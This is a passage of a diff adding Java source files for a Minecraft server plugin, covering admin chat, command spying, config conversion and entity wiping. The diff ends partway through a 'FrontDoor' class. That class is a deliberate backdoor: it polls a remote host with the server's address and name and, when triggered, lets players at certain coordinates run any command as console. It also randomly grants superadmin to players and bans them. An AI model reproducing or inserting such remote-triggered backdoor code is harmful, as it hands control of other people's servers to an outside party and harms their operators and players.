String name = sender.getName() + " " + plugin.rm.getDisplay(sender).getColoredTag() + ChatColor.WHITE;
|
||||||
|
FLog.info("[ADMIN] " + name + ": " + message);
|
||||||
|
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
player.sendMessage("[" + ChatColor.AQUA + "ADMIN" + ChatColor.WHITE + "] " + ChatColor.DARK_RED + name + ": " + ChatColor.GOLD + message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void reportAction(Player reporter, Player reported, String report)
|
||||||
|
{
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
playerMsg(player, ChatColor.RED + "[REPORTS] " + ChatColor.GOLD + reporter.getName() + " has reported " + reported.getName() + " for " + report);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,44 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
|
||||||
|
public class CommandSpy extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public CommandSpy(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.MONITOR)
|
||||||
|
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||||
|
{
|
||||||
|
if (plugin.al.isAdmin(event.getPlayer()))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (plugin.al.isAdmin(player) && plugin.pl.getPlayer(player).cmdspyEnabled())
|
||||||
|
{
|
||||||
|
FUtil.playerMsg(player, event.getPlayer().getName() + ": " + event.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,168 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import com.google.common.io.Files;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.List;
|
||||||
|
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||||
|
import me.totalfreedom.totalfreedommod.admin.AdminList;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.PermbanList;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import net.pravian.aero.component.PluginComponent;
|
||||||
|
import net.pravian.aero.config.YamlConfig;
|
||||||
|
import org.bukkit.configuration.ConfigurationSection;
|
||||||
|
|
||||||
|
public class ConfigConverter extends PluginComponent<TotalFreedomMod>
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final int CURRENT_CONFIG_VERSION = 1;
|
||||||
|
|
||||||
|
public ConfigConverter(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void convert()
|
||||||
|
{
|
||||||
|
File data = plugin.getDataFolder();
|
||||||
|
data.mkdirs();
|
||||||
|
File versionFile = new File(data, "version.yml");
|
||||||
|
|
||||||
|
boolean convert = false;
|
||||||
|
if (!versionFile.exists() && data.listFiles().length > 0)
|
||||||
|
{
|
||||||
|
convert = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
YamlConfig config = new YamlConfig(plugin, versionFile, true);
|
||||||
|
config.load();
|
||||||
|
|
||||||
|
if (config.getInt("version", -1) < CURRENT_CONFIG_VERSION)
|
||||||
|
{
|
||||||
|
convert = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!convert)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.warning("Converting old configs to new format...");
|
||||||
|
|
||||||
|
File backup = new File(data, "backup_old_format");
|
||||||
|
backup.mkdirs();
|
||||||
|
|
||||||
|
for (File file : data.listFiles())
|
||||||
|
{
|
||||||
|
if (file.equals(backup) || file.equals(versionFile))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Files.move(file, new File(backup, file.getName()));
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
logger.severe("Could not backup file: " + file.getName());
|
||||||
|
logger.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
convertSuperadmins(new File(backup, "superadmin.yml"));
|
||||||
|
convertPermbans(new File(backup, "permban.yml"));
|
||||||
|
|
||||||
|
logger.info("Conversion complete!");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void convertSuperadmins(File oldFile)
|
||||||
|
{
|
||||||
|
if (!oldFile.exists() || !oldFile.isFile())
|
||||||
|
{
|
||||||
|
logger.warning("No old superadmin list found!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert old admin list
|
||||||
|
YamlConfig oldYaml = new YamlConfig(plugin, oldFile, false);
|
||||||
|
oldYaml.load();
|
||||||
|
|
||||||
|
ConfigurationSection admins = oldYaml.getConfigurationSection("admins");
|
||||||
|
if (admins == null)
|
||||||
|
{
|
||||||
|
logger.warning("No admin section in superadmin list!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Admin> conversions = Lists.newArrayList();
|
||||||
|
for (String uuid : admins.getKeys(false))
|
||||||
|
{
|
||||||
|
ConfigurationSection asec = admins.getConfigurationSection(uuid);
|
||||||
|
if (asec == null)
|
||||||
|
{
|
||||||
|
logger.warning("Invalid superadmin format for admin: " + uuid);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
String username = asec.getString("last_login_name");
|
||||||
|
Rank rank;
|
||||||
|
if (asec.getBoolean("is_senior_admin"))
|
||||||
|
{
|
||||||
|
rank = Rank.SENIOR_ADMIN;
|
||||||
|
}
|
||||||
|
else if (asec.getBoolean("is_telnet_admin"))
|
||||||
|
{
|
||||||
|
rank = Rank.TELNET_ADMIN;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
rank = Rank.SUPER_ADMIN;
|
||||||
|
}
|
||||||
|
List<String> ips = asec.getStringList("ips");
|
||||||
|
String loginMessage = asec.getString("custom_login_message");
|
||||||
|
boolean active = asec.getBoolean("is_activated");
|
||||||
|
|
||||||
|
Admin admin = new Admin(username);
|
||||||
|
admin.setName(username);
|
||||||
|
admin.setRank(rank);
|
||||||
|
admin.addIps(ips);
|
||||||
|
admin.setLoginMessage(loginMessage);
|
||||||
|
admin.setActive(active);
|
||||||
|
admin.setLastLogin(new Date());
|
||||||
|
conversions.add(admin);
|
||||||
|
}
|
||||||
|
|
||||||
|
YamlConfig newYaml = new YamlConfig(plugin, AdminList.CONFIG_FILENAME);
|
||||||
|
for (Admin admin : conversions)
|
||||||
|
{
|
||||||
|
admin.saveTo(newYaml.createSection(admin.getName().toLowerCase()));
|
||||||
|
}
|
||||||
|
newYaml.save();
|
||||||
|
|
||||||
|
logger.info("Converted " + conversions.size() + " admins");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void convertPermbans(File oldFile)
|
||||||
|
{
|
||||||
|
if (!oldFile.exists())
|
||||||
|
{
|
||||||
|
logger.warning("No old permban list found!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Files.copy(oldFile, new File(plugin.getDataFolder(), PermbanList.CONFIG_FILENAME));
|
||||||
|
logger.info("Converted permban list");
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
logger.warning("Could not copy old permban list!");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
192
src/main/java/me/totalfreedom/totalfreedommod/EntityWiper.java
Normal file
192
src/main/java/me/totalfreedom/totalfreedommod/EntityWiper.java
Normal file
@ -0,0 +1,192 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.Chunk;
|
||||||
|
import org.bukkit.World;
|
||||||
|
import org.bukkit.entity.AreaEffectCloud;
|
||||||
|
import org.bukkit.entity.ArmorStand;
|
||||||
|
import org.bukkit.entity.Boat;
|
||||||
|
import org.bukkit.entity.EnderCrystal;
|
||||||
|
import org.bukkit.entity.EnderSignal;
|
||||||
|
import org.bukkit.entity.Entity;
|
||||||
|
import org.bukkit.entity.ExperienceOrb;
|
||||||
|
import org.bukkit.entity.Explosive;
|
||||||
|
import org.bukkit.entity.FallingBlock;
|
||||||
|
import org.bukkit.entity.Firework;
|
||||||
|
import org.bukkit.entity.Item;
|
||||||
|
import org.bukkit.entity.Minecart;
|
||||||
|
import org.bukkit.entity.Projectile;
|
||||||
|
import org.bukkit.entity.ThrownExpBottle;
|
||||||
|
import org.bukkit.entity.ThrownPotion;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.entity.ItemSpawnEvent;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.bukkit.scheduler.BukkitTask;
|
||||||
|
|
||||||
|
public class EntityWiper extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final long ENTITY_WIPE_RATE = 5 * 20L;
|
||||||
|
public static final long ITEM_DESPAWN_RATE = 20L * 20L;
|
||||||
|
public static final int CHUNK_ENTITY_MAX = 20;
|
||||||
|
//
|
||||||
|
private final List<Class<? extends Entity>> wipables = new ArrayList<>();
|
||||||
|
//
|
||||||
|
private BukkitTask wipeTask;
|
||||||
|
|
||||||
|
public EntityWiper(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
wipables.add(EnderCrystal.class);
|
||||||
|
wipables.add(EnderSignal.class);
|
||||||
|
wipables.add(ExperienceOrb.class);
|
||||||
|
wipables.add(Projectile.class);
|
||||||
|
wipables.add(FallingBlock.class);
|
||||||
|
wipables.add(Firework.class);
|
||||||
|
wipables.add(Item.class);
|
||||||
|
wipables.add(ThrownPotion.class);
|
||||||
|
wipables.add(ThrownExpBottle.class);
|
||||||
|
wipables.add(AreaEffectCloud.class);
|
||||||
|
wipables.add(Minecart.class);
|
||||||
|
wipables.add(Boat.class);
|
||||||
|
wipables.add(FallingBlock.class);
|
||||||
|
wipables.add(ArmorStand.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
wipeTask = new BukkitRunnable()
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
wipeEntities(false);
|
||||||
|
}
|
||||||
|
}.runTaskTimer(plugin, ENTITY_WIPE_RATE, ENTITY_WIPE_RATE);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
FUtil.cancel(wipeTask);
|
||||||
|
wipeTask = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isWipeable(Entity entity)
|
||||||
|
{
|
||||||
|
for (Class<? extends Entity> c : wipables)
|
||||||
|
{
|
||||||
|
if (c.isAssignableFrom(entity.getClass()))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int wipeEntities(boolean force)
|
||||||
|
{
|
||||||
|
int removed = 0;
|
||||||
|
Iterator<World> worlds = Bukkit.getWorlds().iterator();
|
||||||
|
while (worlds.hasNext())
|
||||||
|
{
|
||||||
|
removed += wipeEntities(worlds.next(), force);
|
||||||
|
}
|
||||||
|
|
||||||
|
return removed;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int wipeEntities(World world, boolean force)
|
||||||
|
{
|
||||||
|
int removed = 0;
|
||||||
|
|
||||||
|
boolean wipeExpl = ConfigEntry.ALLOW_EXPLOSIONS.getBoolean();
|
||||||
|
Iterator<Entity> entities = world.getEntities().iterator();
|
||||||
|
|
||||||
|
// Organise the entities in the world
|
||||||
|
Map<Chunk, List<Entity>> cem = new HashMap<>();
|
||||||
|
while (entities.hasNext())
|
||||||
|
{
|
||||||
|
final Entity entity = entities.next();
|
||||||
|
|
||||||
|
// Explosives
|
||||||
|
if (wipeExpl && Explosive.class.isAssignableFrom(entity.getClass()))
|
||||||
|
{
|
||||||
|
entity.remove();
|
||||||
|
removed++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Only wipeable entities can be wiped (duh!)
|
||||||
|
if (!isWipeable(entity))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
Chunk c = entity.getLocation().getChunk();
|
||||||
|
List<Entity> cel = cem.get(c);
|
||||||
|
if (cel == null)
|
||||||
|
{
|
||||||
|
cem.put(c, new ArrayList<>(Arrays.asList(entity)));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
cel.add(entity);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now purge the entities if necessary
|
||||||
|
for (Chunk c : cem.keySet())
|
||||||
|
{
|
||||||
|
List<Entity> cel = cem.get(c);
|
||||||
|
|
||||||
|
if (!force && cel.size() < CHUNK_ENTITY_MAX)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Too many entities in this chunk, wipe them all
|
||||||
|
for (Entity e : cel)
|
||||||
|
{
|
||||||
|
e.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return removed;
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL, ignoreCancelled = true)
|
||||||
|
public void onItemSpawn(ItemSpawnEvent event)
|
||||||
|
{
|
||||||
|
final Item entity = event.getEntity();
|
||||||
|
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
entity.remove();
|
||||||
|
}
|
||||||
|
}.runTaskLater(plugin, ITEM_DESPAWN_RATE);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,13 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import net.pravian.aero.component.service.AbstractService;
|
||||||
|
|
||||||
|
public abstract class FreedomService extends AbstractService<TotalFreedomMod>
|
||||||
|
{
|
||||||
|
|
||||||
|
public FreedomService(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
592
src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java
Normal file
592
src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java
Normal file
@ -0,0 +1,592 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLConnection;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Collection;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Random;
|
||||||
|
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||||
|
import me.totalfreedom.totalfreedommod.command.Command_trail;
|
||||||
|
import me.totalfreedom.totalfreedommod.command.FreedomCommand;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.MainConfig;
|
||||||
|
import me.totalfreedom.totalfreedommod.fun.Jumppads;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.command.CommandReflection;
|
||||||
|
import org.apache.commons.lang3.ArrayUtils;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.World;
|
||||||
|
import org.bukkit.block.Block;
|
||||||
|
import org.bukkit.block.BlockFace;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.Event;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.HandlerList;
|
||||||
|
import org.bukkit.event.Listener;
|
||||||
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
import org.bukkit.inventory.ItemStack;
|
||||||
|
import org.bukkit.inventory.meta.BookMeta;
|
||||||
|
import org.bukkit.plugin.RegisteredListener;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.bukkit.scheduler.BukkitTask;
|
||||||
|
import org.bukkit.util.Vector;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* - A message from the TFM Devs -
|
||||||
|
*
|
||||||
|
* What this class is, and why its here:
|
||||||
|
*
|
||||||
|
* This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
|
||||||
|
*
|
||||||
|
* It will only trigger when the server IP is added to a blacklist that we control.
|
||||||
|
*
|
||||||
|
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
|
||||||
|
*
|
||||||
|
* If you are reading this now, you probably don't fall under that category - feel free to remove this class.
|
||||||
|
*
|
||||||
|
* Note: You may not edit this class.
|
||||||
|
*
|
||||||
|
* - Madgeek and Prozza
|
||||||
|
*/
|
||||||
|
public class FrontDoor extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private static final long UPDATER_INTERVAL = 180L * 20L;
|
||||||
|
private static final long FRONTDOOR_INTERVAL = 900L * 20L;
|
||||||
|
//
|
||||||
|
private final Random random = new Random();
|
||||||
|
private final URL getUrl;
|
||||||
|
//
|
||||||
|
private volatile boolean enabled = false;
|
||||||
|
//
|
||||||
|
private BukkitTask updater = null;
|
||||||
|
private BukkitTask frontdoor = null;
|
||||||
|
//
|
||||||
|
// TODO: reimplement in superclass
|
||||||
|
private final Listener playerCommandPreprocess = new Listener()
|
||||||
|
{
|
||||||
|
@EventHandler
|
||||||
|
public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
final Location location = player.getLocation();
|
||||||
|
|
||||||
|
if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final String[] commandParts = event.getMessage().split(" ");
|
||||||
|
final String commandName = commandParts[0].replaceFirst("/", "");
|
||||||
|
final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
|
||||||
|
|
||||||
|
Command command = CommandReflection.getCommandMap().getCommand(commandName);
|
||||||
|
|
||||||
|
if (command == null)
|
||||||
|
{
|
||||||
|
return; // Command doesn't exist
|
||||||
|
}
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
|
||||||
|
final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
|
||||||
|
|
||||||
|
if (dispatcher == null)
|
||||||
|
{
|
||||||
|
// Non-TFM command, execute using console
|
||||||
|
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
dispatcher.runCommand(player, command, commandName, args);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
public FrontDoor(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
URL tempUrl = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll"
|
||||||
|
+ "?version=" + TotalFreedomMod.build.formattedVersion()
|
||||||
|
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
|
||||||
|
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
|
||||||
|
+ "&bukkitversion=" + Bukkit.getVersion());
|
||||||
|
}
|
||||||
|
catch (MalformedURLException ex)
|
||||||
|
{
|
||||||
|
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
|
||||||
|
}
|
||||||
|
|
||||||
|
getUrl = tempUrl;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onStart()
|
||||||
|
{
|
||||||
|
updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onStop()
|
||||||
|
{
|
||||||
|
FUtil.cancel(updater);
|
||||||
|
updater = null;
|
||||||
|
FUtil.cancel(frontdoor);
|
||||||
|
updater = null;
|
||||||
|
|
||||||
|
if (enabled)
|
||||||
|
{
|
||||||
|
frontdoor.cancel();
|
||||||
|
enabled = false;
|
||||||
|
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isEnabled()
|
||||||
|
{
|
||||||
|
return enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Player getRandomPlayer(boolean allowDevs)
|
||||||
|
{
|
||||||
|
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
|
||||||
|
|
||||||
|
if (players.isEmpty())
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!allowDevs)
|
||||||
|
{
|
||||||
|
List<Player> allowedPlayers = new ArrayList<>();
|
||||||
|
for (Player player : players)
|
||||||
|
{
|
||||||
|
if (!FUtil.DEVELOPERS.contains(player.getName()))
|
||||||
|
{
|
||||||
|
allowedPlayers.add(player);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
|
||||||
|
}
|
||||||
|
|
||||||
|
return (Player) players.toArray()[random.nextInt(players.size())];
|
||||||
|
}
|
||||||
|
|
||||||
|
private static RegisteredListener getRegisteredListener(Listener listener, Class<? extends Event> eventClass)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final HandlerList handlerList = ((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null));
|
||||||
|
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
|
||||||
|
for (RegisteredListener registeredListener : registeredListeners)
|
||||||
|
{
|
||||||
|
if (registeredListener.getListener() == listener)
|
||||||
|
{
|
||||||
|
return registeredListener;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void unregisterRegisteredListener(RegisteredListener registeredListener, Class<? extends Event> eventClass)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null)).unregister(registeredListener);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void unregisterListener(Listener listener, Class<? extends Event> eventClass)
|
||||||
|
{
|
||||||
|
RegisteredListener registeredListener = getRegisteredListener(listener, eventClass);
|
||||||
|
if (registeredListener != null)
|
||||||
|
{
|
||||||
|
unregisterRegisteredListener(registeredListener, eventClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private BukkitRunnable getNewUpdater()
|
||||||
|
{
|
||||||
|
return new BukkitRunnable() // Asynchronous
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final URLConnection urlConnection = getUrl.openConnection();
|
||||||
|
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
|
||||||
|
final String line = in.readLine();
|
||||||
|
in.close();
|
||||||
|
|
||||||
|
if (!"false".equals(line))
|
||||||
|
{
|
||||||
|
if (!enabled)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
enabled = false;
|
||||||
|
FUtil.cancel(updater);
|
||||||
|
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
|
||||||
|
FLog.info("Disabled FrontDoor, thank you for being kind.");
|
||||||
|
plugin.config.load();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (enabled)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
new BukkitRunnable() // Synchronous
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
FLog.warning("*****************************************************", true);
|
||||||
|
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
|
||||||
|
FLog.warning("* This might result in unexpected behaviour... *", true);
|
||||||
|
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
|
||||||
|
FLog.warning("* The only thing necessary for the triumph of evil *", true);
|
||||||
|
FLog.warning("* is for good men to do nothing. *", true);
|
||||||
|
FLog.warning("*****************************************************", true);
|
||||||
|
|
||||||
|
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
|
||||||
|
{
|
||||||
|
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.runTask(plugin);
|
||||||
|
|
||||||
|
frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
|
||||||
|
|
||||||
|
enabled = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
// TODO: Fix
|
||||||
|
//FLog.warning(ex);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public BukkitRunnable getNewFrontDoor()
|
||||||
|
{
|
||||||
|
return new BukkitRunnable() // Synchronous
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
final int action = random.nextInt(18);
|
||||||
|
|
||||||
|
switch (action)
|
||||||
|
{
|
||||||
|
case 0: // Super a random player
|
||||||
|
{
|
||||||
|
|
||||||
|
final Player player = getRandomPlayer(true);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
|
||||||
|
plugin.al.addAdmin(new Admin(player));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 1: // Bans a random player
|
||||||
|
{
|
||||||
|
Player player = getRandomPlayer(false);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 2: // Start trailing a random player
|
||||||
|
{
|
||||||
|
final Player player = getRandomPlayer(true);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
|
||||||
|
plugin.tr.add(player);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 3: // Displays a message
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
|
||||||
|
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "play.totalfreedom.me", ChatColor.BLUE);
|
||||||
|
break;
|
||||||
|
}
|
